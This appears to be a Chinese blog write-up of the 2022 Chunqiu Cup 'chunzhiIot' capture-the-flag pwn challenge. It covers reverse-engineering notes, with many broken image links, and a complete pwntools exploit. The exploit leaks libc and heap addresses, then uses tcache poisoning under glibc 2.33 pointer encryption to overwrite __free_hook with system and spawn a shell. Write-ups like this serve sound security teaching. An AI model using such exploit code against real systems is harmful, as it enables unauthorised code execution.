2022春秋杯:chunzhiIot

题目

2022年春秋杯:chunzhiIot

一道vmpwn题,和今年(2022年)的国赛一道题类似

保护

$ checksec pwn
[*] '/home/hnhuangjingyu/chunqiubei/chunzhiIot/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ./libc.so
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu5) release release version 2.33.

现在好像基本都是保护全开,然后glibc2.31以上的题目了

分析

打开IDA发现识别不了函数,且函数的参数也很奇怪

在这里插入图片描述

经过几番捣鼓函数点进去识别后信息越来越少

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rRnGJvUm-1653903653277)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530162850994.png)]

查阅资料了解endbr64这个指令得到如下解释:

endbr64 (and endbr32) are a part of Intel's Control-Flow Enforcement Technology (CET) (see also Intel Software Developer Manual, Volume 1, Chapter 18).

Intel CET offers hardware protection against Return-oriented Programming (ROP) and Jump/Call-oriented Programming (JOP/COP) attacks, which manipulate control flow in order to re-use existing code for malicious purposes.

endbr64(和endbr32) 是[英特尔控制流强制技术(CET)]的一部分。英特尔CET针对面向返回的编程(ROP)和面向跳转/调用的编程(JOP/COP)攻击提供硬件保护,这些攻击会操纵控制流,以便出于恶意目的重新使用现有代码

那么就需要手动的帮助IDA进行识别符号表,这里配合GDB动态调试即可看到函数符号,比如上面sub_1170()函数通过GDB调试发现就是puts函数,那么就将它重新命名(_puts)即可识别出,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dmw0s7cF-1653903653277)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164046092.png)]

再次F5刷新即可识别出

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-f8UjNeaB-1653903653278)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164120264.png)]

ok,回归主题,我手动还原的伪函数如下

main

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dMgujFY7-1653903653278)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164306855.png)]

kernel

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E905jYjO-1653903653279)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164332788.png)]

set_requst_mod

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gB2GvgfM-1653903653280)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164351568.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r21OyPcJ-1653903653280)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164358863.png)]

put_requst

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YOPUO0Qd-1653903653281)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164446296.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dIcCoodC-1653903653282)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164523798.png)]

可以看到经典堆题菜单就出来了

add

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4OPKqwzp-1653903653282)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164555005.png)]

edit

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t87py8bc-1653903653283)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164606440.png)]

show

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NkYWxEG2-1653903653284)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164622245.png)]

dele

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e0vxaTrG-1653903653285)(vmpwn-libc2_33-chunzhiIot.assets/image-20220530164641445.png)]

思路

程序的实现了一个类似于http请求的功能,具体可以看我上面逆向出来的代码,逆向出来后发现堆题很简单,ok

按照程序的格式要求得到如下exp:

def init():
    sa("Package...\n","DEV / HTTP/1.0 \r\nrotartsinimda")

def add(id,size,content):
    if(isinstance(content,bytes)):
        sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&",'utf8')+content)
    else:
        sa("Package...\n","POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&"+content)
    #1.请求类型 2.id 3.size 4.buf

def edit(id,content):
    sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x02&"+str(id)+"&",'utf8')+content)

def show(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x03&"+str(id))

def dele(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x04&"+str(id))

这里的小细节就是字符和字节的使用,具体看代码

因为题目是glibc2.33会有一个异或加\解密fd指针,利用手法和之前一样,不过在修改fd的时候需要手动的异或加密指针再写进去,因为计算异或加密值需要用到堆地址,所以先泄漏libc、heap

################################### Statr ############################################
init()
#-----------------------------leak libc、heap-----------------------------
add(0,0x410,'0')
add(1,0x10,'1')
dele(0) #因为带有\x00所以打印不了
dele(1)
add(2,0x420,'2') #向main_arena中加入chunk
show(0) #现在就可以打印了
ru('6\n')
libc.address = info(rc(6),"libc") - (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
show(1)
ru('5\n')
heap = info(rc(5),"heap") << 4*3 #- (0x7ffff7fb5ff0 - 0x7ffff7dd5000)

然后就是手动加密fd值了

#-----------------------------tcache attack-----------------------------
add(3,0x10,'3')
add(4,0x10,'4')
dele(3)
dele(4)
#将free__hook异或加密 ,这里需要堆地址
edit(4,p64(libc.sym['__free_hook'] ^ (heap+0x2a0 >> 12)))
add(5,0x10,'/bin/sh\x00')
#add(6,0x10,p64(libc.address + one[0]))
add(6,0x10,p64(libc.sym['system']))
dele(5)
################################### End ##############################################
p.interactive()

完整exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *

#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwn"

one = [0x45216,0x4526a,0xf02a4,0xf1147]

global p
local = 1
if local:
    p = process(binary)
    e = ELF(binary)
    libc = e.libc
else:
    p = remote("111.200.241.244","58782")
    e = ELF(binary)
    libc = e.libc

################################ Condfig ############################################
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
it = lambda :p.interactive()

def z(s='b main'):
    gdb.attach(p,s)

def logs(addr,string='logs'):
    if(isinstance(addr,int)):
       print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
    else:
       print('\033[1;31;40m%20s-->%s\033[0m'%(string,addr))

def pa(s='1'):
    log.success('pause : step---> '+str(s))
    pause()

def info(data,key='info',bit=64):
    if(bit == 64):
      leak = u64(data.ljust(8, b'\0'))
    else:
      leak = u32(data.ljust(4, b'\0'))
    logs(leak,key)
    return leak

################################ Function ############################################

def init():
    sa("Package...\n","DEV / HTTP/1.0 \r\nrotartsinimda")

def add(id,size,content):
    if(isinstance(content,bytes)):
        sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&",'utf8')+c
ontent)
    else:
        sa("Package...\n","POST / HTTP/1.0 \r\n\x01&"+str(id)+"&"+str(size)+"&"+content)
    #1.请求类型 2.id 3.size 4.buf

def edit(id,content):
    sa("Package...\n",bytes("POST / HTTP/1.0 \r\n\x02&"+str(id)+"&",'utf8')+content)

def show(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x03&"+str(id))

def dele(id):
    sa("Package...\n","POST / HTTP/1.0 \r\n\x04&"+str(id))
    
################################### Statr ############################################
init()
#-----------------------------leak libc、heap-----------------------------
add(0,0x410,'0')
add(1,0x10,'1')
dele(0) #因为带有\x00所以打印不了
dele(1)
add(2,0x420,'2') #向main_arena中加入chunk
show(0) #现在就可以打印了
ru('6\n')
libc.address = info(rc(6),"libc") - (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
show(1)
ru('5\n')
heap = info(rc(5),"heap") << 4*3 #- (0x7ffff7fb5ff0 - 0x7ffff7dd5000)
#-----------------------------tcache attack-----------------------------
add(3,0x10,'3')
add(4,0x10,'4')
dele(3)
dele(4)
#将free__hook异或加密 ,这里需要堆地址
edit(4,p64(libc.sym['__free_hook'] ^ (heap+0x2a0 >> 12)))
add(5,0x10,'/bin/sh\x00')
#add(6,0x10,p64(libc.address + one[0]))
add(6,0x10,p64(libc.sym['system']))
dele(5)
################################### End ##############################################
p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值